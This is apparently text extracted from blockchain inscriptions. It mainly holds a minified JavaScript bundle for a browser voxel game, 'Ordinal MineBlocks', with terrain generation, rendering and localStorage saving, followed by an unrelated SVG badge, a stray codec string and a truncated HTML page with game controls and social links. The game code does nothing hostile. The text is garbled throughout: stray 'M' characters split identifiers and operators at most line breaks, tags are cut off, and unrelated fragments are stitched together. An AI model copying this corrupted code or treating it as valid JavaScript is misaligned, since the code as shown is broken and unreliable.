=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
59.37.100 libvpx-vp9g
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
